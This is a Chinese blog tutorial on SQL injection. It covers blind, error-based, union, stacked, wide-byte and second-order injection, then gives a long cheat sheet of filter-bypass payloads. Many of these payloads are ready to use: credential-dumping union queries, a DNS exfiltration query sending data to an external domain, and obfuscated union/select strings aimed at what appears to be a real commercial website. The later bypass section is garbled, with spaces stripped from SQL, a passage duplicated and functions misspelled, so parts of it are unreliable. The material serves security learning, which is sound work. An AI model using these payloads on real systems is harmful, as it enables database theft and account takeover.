console.log(🍺);|

fan高

园龄:1年7个月粉丝:6关注:0

超详细的SQL注入漏洞学习

SQL注入漏洞

1.SQL注入简述

SQL注入漏洞是服务器在处理SQL语句时错误的拼接用户提交的参数,打破了原有的SQL语句的逻辑,导致攻击者可以掌握SQL的执行效果的一类安全问题。

例如,有一条sql语句如下:

select*from students where username='张三' and password='xxx'

这条语句的意思是查询张三的信息。他有两个条件,username和password,当我们输入这两个参数并且全部正确时,他才会返回张三信息。假设这里没有对用户输入的数据进行判断,此时有位攻击者在username中输入了这样的数据:张三’and 1=1#。此时这条sql语句就变成了下面这样:

select*from students where username='张三’ and 1=1#' and password='xxx'

攻击者输入的张三’与前面的单引号闭合了,形成了一个完整的参数,而后面的and1=1成为了sql语句的一部分,最后#为注释,把后面的语句注释掉了,此时这条语句变成了这样:

select*from students where username='张三’ and 1=1

可以看到,张三的信息在没有输入密码的情况下就显示出来了。

2.SQL注入的类型

2.1按照注入点类型分类

2.1.1整型注入

​ 整型注入是指注入参数的两侧没有任何闭合符号,由于这种情况下数据库处理的参数都是整形、浮点型等数字,所以又称数字型注入,如:

select*from demo where id=1

​ 这里可以直接构造payload进行注入:

select*from demo where id=1 and 1=1

2.1.2字符型注入

​ 字符型注入的两侧闭合多为单引号,有时也有双引号,如:

select*from demo where id='1'

​ 此时我们如果再像整型注入的方式构造payload,会发现输入语句被单引号包括起来了,这样也就不会生效了。

sql注入的本质就是打破原本传递数据的区域边界,插入逻辑代码。

​ 构造payload:1'and 'a'='a。如下所示:

select*from demo where id='1'and 'a'='a'

​ 通过插入” 1'and 'a'='a “,打破了原本的闭合边界,于是可以在and之前自由地插入新的判断逻辑来完成注入。

​ 后面的 “ 'a'='a ”主要用于闭合最后的单引号,也可以使用"#"来屏蔽后续语句,如:

select*from demo where id='1 and 1=1#'

​ 需要注意的是,在MySQL中"#"仅作用于单行,如果后续的语句有换行的情况下,谁用"#"是不成立的。

2.1.3搜索型注入

​ 搜索型注入的本质还是字符型注入,不过在构造语句时略有区别,搜索型注入常见于like之后使用的模糊匹配,如:

select*from demo where name like '%a%'

​ 针对这里的注入,我们可以使用“ a%' and 1=1 '%'=' ”来闭合,如下:

select*from demo where name like '%a%' and 1=1 '%'='%'

​ 同理,也可以在整条语句无换行的情况下使用"#"屏蔽后续语句。

2.1.4 In注入

​ In注入主要发生在in语句内,往往要引入括号来进行闭合,如:

select*from demo where id in (1,2,3)

​ 对于数字型的in注入,我们可以使用“ 1) and (1)=(1 ” 闭合,闭合语句如下:

select*from demo where id in (1,2,3) and (1)=(1)

​ 而对于字符型的in注入,往往还需要加单引号“ 1') and ('1')=('1 ”,如:

select*from demo where id in ('1','2','3') and ('1')=('1')

2.1.5混合型注入

​ 混合型注入主要指的是闭合符号混合搭配,这时候也需要根据情况调整payload。

2.2按提交方式分类

2.2.1get型注入

数据以get型方式进行提交。注入点一般在get提交的URL后。

2.2.2post型注入

数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找

2.2.3http头部注入

user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

2.3按执行效果分类

2.3.1盲注

2.3.1.1布尔盲注

​ 基于布尔的SQL注入的攻击方法,常用于无回显点,又不能基于报错来读取数据的盲注回显中。所谓盲注,就是网站不会给出任何直接的回显,而需要构造payload去探测,根据返回的差异来进行逻辑推理。所谓布尔,是编程语言中的一种数据类型,它只有"True"和"False"两个取值。通过提交断言请求的语句,观察服务器返回"True"还是"False"来印证断言是否成立,从而获取数据库中的数据。

​ MySQL数据库布尔注入的常用方法

运算 payload
1 or 1=1
异或 1xor 1=1
按位与 1 &1=1
1 && 1=1
按位或 1|1 = 1
1 || 1=1

​ 常见数据库及其系统表

数据库 系统表
MySQL information_schema.tables
Oracle all_tables、user_tables
Microsoft SQL Server master、sysobjects
Access
PostgreSQL pg_database、pg_tables
DB2 sysibm

以MySQL为例。

1)判断数据库中有多少数据库。

1 and (select count(*) from information_schema.schemata)>6

2)猜测第一个数据库名称。

1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>101 

​ 通过修改结尾101来根据ASCII码判断第一个数据库的第一个字母,通过修改mid函数的第二个参数来依次猜解第一个数据库名称的后几位字母。通过修改“limit 0,1”的第一个数字“0”来依次递增获取其他几个数据库(“0”是第一个、“1”是第二个,依次类推)。

3)判断指定数据库中有多少个表

1 and (select count(*) from information_schema.tables where table_schema='demo')>4

4)猜测指定数据库第一张表的名称

1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='demo' limit 0,1)>101

同理,可以猜解任意数据库中的任意表名。

5)判断指定数据库指定表中有多少个字段。

1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='demo')

6)猜测指定数据库指定表的第一字段。

1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='demo')>101

7)获取指定数据库指定表的数据量。

1 and (select count(*) from demo.user)>6

8)获取指定数据库指定表的第一条数据的第一个字段。

1 and (select ascii(mid(username,1,1)) from demo.user limit 0,1)>101
2.3.2时间盲注

​ 基于时间的注入,顾名思义,是利用时间的长短来判断SQL注入点是否存在的,根据时间的长短来得到SQL语句的执行结果是True还是False。

​ 发送请求 “id=1 and sleep(3)”,如果网站延迟了3秒才返回,基本可以断定此处存在SQL注入漏洞。需要注意的是,“sleep(3)”的延迟时间可能不是3秒,还有可能是6s,9s,12s··· ···但基本都是3的倍数切大于等于3。

​ 基于时间的SQL注入攻击,通常也是用于盲注攻击的,在网站无回显,并且无法使用union、报错注入的情况下才会考虑。思路和布尔注入基本一致。

​ 使用基于时间的SQL注入方法获取数据的流程与布尔注入类似,在具体的payload构造上有细微的区别,主要的思路是通过if函数造成差异,例如:

1 and if(ascii(substr(user(),2,1))<114,sleep(5),1)

​ if函数会优先执行第一个参数中传递的SQL语句,如果成立则会执行第二个参数,于是网站会等待超过5s的时间返回。而如果第一个参数不成立,则会执行第三个参数,由于第三个参数是1,故会立刻返回。由此,可以根据页面的等待时间来了解user()函数执行结果中的第二个字符的ASCII码是否小于114。

2.3.3DNS查询注入

​ 除了直接回显、错误回显、无回显之外,还有一种方法是外带法,想办法将查询的内容通过其他通道带出来,DNS查询注入正是利用了这一方法。

必须windows系统,必须root权限,必须secure_file_priv为空

​ MySQL中有一个 load_file 函数,该函数主要用于读取文件,在Windows下,由于UNC语法,可以支持读取其他域名下的文件,于是攻击者可以通过构造请求,将数据传递到他自己搭建的域名服务器上。

​ UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机

UNC命名使用特定的标记法来识别网络资源. UNC命名由三个部分组成- 服务器名, 共享名, 和一个可选的文件路径. 这三个部分通过backslash连接起来, 如下:

\server\share\file_path

​ 由于该写法只针对Windows服务器有效,所以使用DNS外带注入也仅限于数据库服务器采用Windows操作系统的情况下,具有一定的局限性。

​ 具体发送DNS请求的SQL语句如下:

select load_file('\\\\www.moonslow.com\\a.txt')

​ 当语句被拼接进入SQL执行引擎后,会向www.moonslow.com发送

\\www.moonslow.com\a.txt

请求,需要搭建一条NS服务器,并且给域名增加一条NS记录指向该NS服务器,这样如果该域名被解析,就可以在NS服务器上收到一条解析记录,就可以证明该位置存在SQL注入漏洞了。

2.3.2报错注入

​ 报错注入既是一种SQL注入的检测方法,同时也是利用SQL注入读取数据的方法。

​ 作为检测方法,攻击者在判断一个参数是否存在SQL注入漏洞时,会尝试拼接单引号、反斜杠字符等等。例如:id=1'

这种字符传入后会引起SQL语法的错误,数据库引擎会抛出错误,而有些网站会把错误打印到网页中。

​ 报错注入还可以用来发起攻击。在一些场景下,通过报错回显将目标数据打印在网页上。

MySQL常见的10种报错注入方法

1)floor()

2)extractvalue()

3)geometrycollection

4)multipoint()

5)polygon()

6)multipolygon()

7)linestring()

8)multilinestring()

9)exp()

extractvalue()函数报错注入

​ extractvalue()函数,对XML文档进行查询的函数

语法

​ extractvalue(目标xml文档,xml路径)

​ 函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他格式就会报错,并且返回我们写入的非法格式内容,而这个非法格式内容就是我们想要查询的内容。

​ 如果是正常格式,则既查询不到,也不会报错

本地测试

​ 构造正常的SQL语句:

select extractvalue(1,concat('/',(select database())))

image-20230916154904714

​ 然后我们构造非法请求SQL:

#正常格式为/xx/xx/,所以我们非法格式可以尝试     \ 
#0x5c  (\),还可以使用0x7e (~)
select extractvalue(1,concat(0x5c,(select database())))

image-20230916155038100

发现返回了非法内容,而且返回的内容就是我们需要的内容。

updatexml()函数报错注入

​ updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。

语法

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。

本地测试

构造合法的SQL语句查询:

select updatexml('/',(select database()),'/')

image-20230916160218361

构造非法格式进行查询:

select updatexml('/',conca(0x7e,database()),'/')

image-20230916160632494

首先看看0x7e这个东西,它是 ~ 的16进制用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以。

2.3.3union注入

​ 在sql中,union函数是一个操作符,用于将两个或者多个查询结果合并成为一个并集。

union的作用:

合并结果集:当我们需要将多个查询结果合并成一个结果集时,可以使用union函数。这样可以简化查询操作,减少代码的复杂性。
去重数据:union函数会自动去重,即将重复的行从结果集中剔除,只返回唯一的行。这在需要对两个或多个表中的数据进行合并,并消除重复数据时非常有用。
扩展查询:使用union函数可以将多个查询结果合并在一起,从而扩展查询的范围。我们可以在每个SELECT语句中使用不同的条件和过滤器,从不同的表中获取数据,并将它们合并成一个结果集

例如,一条SQL语句如下:

select*from user where id='1'

可以将id参数注入恶意代码,如下:

1' union select username,password from users--+

那么构造的sql查询语句会变为:

select*from user where id='1' union select username,password from users--+'

将会返回所有用户的用户名和密码,绕过了原本的查询条件

通过联合注入漏洞获取敏感信息,或者进行其他恶意操作

union注入流程

​ 1)首先使用order by来判断有多少列:

1' order by 1,2,3,······--+

​ 2)爆破数据库

?id=-1' union select 1,2,database() --+

​ 3)爆破表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

​ 4)爆破列名(字段)

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

​ 5)爆值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

2.4堆叠注入

​ MySQL数据库的sql语句在结束的时候是以“ ; ”结尾,在执行多条语句时就要使用结束隔离符隔开,而堆叠注入就是通过结束符来执行多条sql语句。

image-20230916163323681

堆叠注入的触发条件

1)目标存在SQL注入漏洞

2)对“ ; ”未过滤

3)目标中间层查询数据库信息时可以同时执行多条SQL语句(比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句)

2.5宽字节注入

什么是窄、宽字符

​ 当一个字符的大小为一个字节时,称其为窄字节。

​ 当一个字符的大小为两个字节时,成为宽字节。

​ 所有英文默认占一个字节,汉字占两个字节。

常见的宽字符编码

​ GB2312,GBK,GB18030,BIG5,Shift_JIS等

宽字节注入漏洞原理

​ 宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不通的两个编码格式从而导致产生宽字节注入。

​ 如果数据库使用的是GBK编码而PHP的编码为UTF-8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用以下几种函数:

addslashes() //函数在预定义字符之前添加反斜杠的字符串

例如:

<?php
$str=addslashes('Yuan "shen" start');
echo $str;
?>
 //输出 Yuan \"shen\" start
mysql_real_escape_string() //函数转义SQL语句中使用的字符串中的特殊字符

例如:

<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

// 获得用户名和密码的代码

// 转义用户名和密码,以便在 SQL 中使用
$user = mysql_real_escape_string($user);
$pwd = mysql_real_escape_string($pwd);

$sql = "SELECT * FROM users WHERE
user='" . $user . "' AND password='" . $pwd . "'"

// 更多代码

mysql_close($con);
?>
mysql_escape_string()//转义一个字符串

例如:

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>
输出://Escaped string: Zak\'s Laptop

将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP中使用的utf8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠被组合成一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的ASCII要大于128,两个字符才能组合成汉字,因为前一个ASCII码要大于128,才到汉字的范围。

实战

nctf-sql injection 3

https://chinalover.sinaapp.com/SQL-GBK/?id=1

image-20230916203100466

https://chinalover.sinaapp.com/SQL-GBK/?id=1'

image-20230916203154639

发现被转义了

使用最经典的%df

https://chinalover.sinaapp.com/SQL-GBK/?id=1%df' and 1=1#

image-20230916203343986

爆数据库

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23

image-20230916203433377

下面步骤跟union注入一样了。

2.6二次注入

​ 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只使用了addslashes函数或者是借助get_magic_quotes_gpc函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加“ \ ”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

​ 在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成sql的二次注入。

image-20230917104329537

实战

image-20230917105657515

​ 这里直接在登录框注入是不行的,登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。

<?php 
  function sqllogin(){
   		$username = mysql_real_escape_string($_POST["login_user"]);
   		$password = mysql_real_escape_string($_POST["login_password"]);
   		$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
	//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   		$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   		$row = mysql_fetch_row($res);
			//print_r($row) ;
   if ($row[1]) {
			return $row[1];
   } else {
      		return 0;
   }

} 
?>

​ 我们点击下面的New User click here? 来进行注册

image-20230917110202283

注册完成进行登录,登录后发现让修改密码:

image-20230917110308310

那我们不妨注册一个admin'#的账号

image-20230917110414745

注册用户的时候用了mysql_escape_string过滤参数,但是数据库中还是插入了问题数据admin'#。

image-20230917192734166

也就是说经过mysql_escape_string转义的数据存入数据库后被还原。

此时,admin用户的原来密码为admin,我们以admin’#用户登陆,再进行密码修改,原本admin'#账户的密码为123,我们修改为123456。

image-20230917192908807

然后在数据库中看到admin变为123456

image-20230917192945869

我们明明修改的是admin'#账户,而密码改变的却是admin账户,为什么呢

我们看一下修改密码的SQL语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

我们传入值后变为:

UPDATE users SET PASSWORD='123456' where username='admin'-- ' and password='$curr_pass'

admin后面的被注释掉了,这条语句很明显是修改admin账户的密码。

3.SQL注入绕过方法

3.1过滤and or

使用符号

or ----->	||
and ---->	&&
xor ---->	|
not ---->	!
	**大小写绕过**
OraNd

双写绕过

oorr、anandd

编码绕过

​ urlencode、ASCII、hex、Unicode编码

关键字内联注释绕过

/*!or*//*!and*/

3.2过滤空格

1)、/**/
2)、()
3)、`(tab键上面的按钮)
4)、tab
5)、+
6)、科学计数法  0e1
7)、空白字符绕过(%20 %09 %0a %0b %0c %0d %a0)
MYSQL    
 	09,0A,0B,0B,0D,A0,20 
PosgressSQL 
	0A,0D,0C,09,20 
Oracle_11g    
	00,0A,0D,0C,09,20 
 MSSQL    	    		01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

3.3过滤等号

​ 1)like、rlike

​ 不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

​ rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

​ 2)or '1' in (1)#

SELECT*FROM `security`.users WHERE id OR 1 in(1)

3.4过滤括号

​ 编码绕过

3.5过滤union\select\where

​ 大小写

​ 双写

​ 内联注释

​ 编码绕过

​ concat

​ \N绕过

​ union all select绕过

逻辑绕过 
1 && (select user from users limit 1) = 'admin' 
 http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/ /**//*!sElEcT*//**//**/1,2,3,4,5,6--  
  
 http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n *//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--  

 http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca t(s,e,l,e,c,t)+all+1,2,3,4,5,6--  

 http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-  
-----------------------------------
突破sql 注入过滤Union+SELECT 继续射下去
https://blog.51cto.com/u_1002776/6230139xxxxxxxxxx  http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-  -----------------------------------突破sql 注入过滤Union+SELECT 继续射下去https://blog.51cto.com/u_1002776/62301391 &&(select 1)='admin'

3.6过滤比较符

1)greatest (n1, n2, n3…): 返回 n 中的最大值

select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
#这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破
#如果任何给定值为NULL,则返回NULL。否则,它将返回最大值。

2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

3)strcmp(str1,str2):比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序小于第二个参数顺序返回-1,否则返回1。

select*from users where id=1 and strcmp(asci(substr(username,1,1)),117)

4)in关键字

用于判断列明中是否存在此关键字,常用于布尔盲注

select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r

3.7引号绕过

​ 会用到引号的的地方一般是在最后的where子句中。如:

select*from users where name="zs"

​ 这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273

3.8逗号绕过

​ 在使用盲注的时候,需要使用到substr(),mid(),limit。这些方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1)
select mid(database() from 1 for 1)))

​ 对于limit可以使用offset来绕过:

select*from news limit 0,1#等价于下面这条SQL语句
select*from news limit 1 offset 0

offset n 去掉几个值

1)从“employees”表中第三条开始查询,取一条数据;
(1) select * from employees order by hire_date desc
limit 2,12)从“employees”表中读取一条数据,但是去处前两条数据;
(2) select * from employees order by hire_date desc 
limit 1 offset 2;        

3.9等价函数绕过

hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()=>substring()

@@user==>user()

@@datadir==>datadir()

3.10过滤总结

1.1 注释符绕过

常用注释符:

//,-- , //, #, --+, -- -, ;,%00,--aUNION//Select//user,pwd,fromuserU//NION//SE//LECT/**/user,pwdfromuser

1.2 大小写绕过

?id=1+UnIoN/**/SeLeCT

1.3 内联注释绕过

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM/information_schema/.tables/!WHERE /+/!TaBlE_ScHeMa/+like+database()-- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

1.5 编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a/FROM%252f%252a/Users--+一些unicode编码举例: 单引号:'%u0027 %u02b9%u02bc

%u02c8%u2032

%uff07%c0%27%c0%a7%e0%80%a7

空白:

%u0020%uff00

%c0%20%c0%a0%e0%80%a0

左括号(:

%u0028%uff08

%c0%28%c0%a8%e0%80%a8

右括号):

%u0029%uff09

%c0%29%c0%a9%e0%80%a9

1.6 空格绕过

两个空格代替一个空格,用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/

括号绕过空格

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来

select(user())from dual where 1=1 and 2=2;

1.7 万能密钥绕过

用经典的or1=1判断绕过,如or‘swords’ =’swords

1.8 +,-,.号拆解字符串绕过

?id=1' or'11+11'='11+11'"-"和"."

1.9 like绕过

?id=1' or 1 like 1绕过对“=”,“>”等的过滤

2.0 in绕过

or'1'IN('swords')

2.1 >,<绕过

or'password'>'pass'or1<3

2.2 等价函数与命令绕过

1.函数或变量

hex()、bin()>ascii()sleep()>benchmark()concat_ws()>group_concat()mid()、substr()>substring()@@user>user()@@datadir>datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1),0x69)= 1strcmp(left('password',1),0x70)= 0strcmp(left('password',1),0x71)= -1

2.符号

and和or有可能不能使用,可以试下&&和||=不能使用的情况,可以考虑尝试<、>

3.生僻函数

MySQL/PostgreSQL支持XML函数:SelectUpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);          ?id=1 and 1=(updatexml(1,concat(0x3a,(selectuser())),1))SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tableslimit1)));and 1=(updatexml(1,concat(0x5c,(selectuser()),0x5c),1))andextractvalue(1,concat(0x5c, (selectuser()),0x5c))

2.3 反引号`绕过

selectversion(),可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.4 换行符绕过

%0a、%0d

2.5 截断绕过

%00,%0A,?,/0,........,%80-%99

目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

././././././././././././././././abc

abc

..1/abc/../1/abc/../1/abc

2.6 宽字节绕过

过滤单引号时,可以试试宽字节

%bf%27 %df%27 %aa%27

2.7 \N绕过

\N其实相当于NULL字符

selectfromuserswhereid=8E0unionselect1,2,3,4,5,6,7,8,9,0selectfromuserswhereid=8.0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=\Nunionselect1,2,3,4,5,6,7,8,9,0

附:PHP中一些常见的过滤方法及绕过方式

过滤关键字 and or

php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码  1 or 1=1 1 and 1=1
绕过方式  1 || 1=1 1 && 1=1

过滤关键字 and or union

php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码  union select user,password from users
绕过方式1&& (selectuserfromuserswhereuserid=1)='admin'

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'

过滤关键字and,or,union,where,limit

php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码1&& (selectuserfromuserslimit1) ='admin'
绕过方式1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'#user_id聚合中user_id为1的user为admin

过滤关键字and,or,union,where,limit,groupby

php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'
绕过方式1&& (selectsubstr(group_concat(user_id),1,1)userfromusers) =1

过滤关键字and,or,union,where,limit,groupby,select

php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&&substr(user,1,1) ='a'

过滤关键字and,or,union,where,limit,groupby,select,'

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\')/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&& user_idisnotnull1&&substr(user,1,1) =0x611&&substr(user,1,1) =unhex(61)

过滤关键字and,or,union,where,limit,groupby,select,', hex

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =unhex(61)
绕过方式1&&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字and,or,union,where,limit,groupby,select,', hex, substr

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =lower(conv(11,10,16))/td>
绕过方式1&&lpad(user,7,1)

过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码1&&lpad(user,7,1)/td>
绕过方式1%0b||%0blpad(user,7,1)

过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1|| (selectuserfromuserswhereuser_id =1) ='admin'
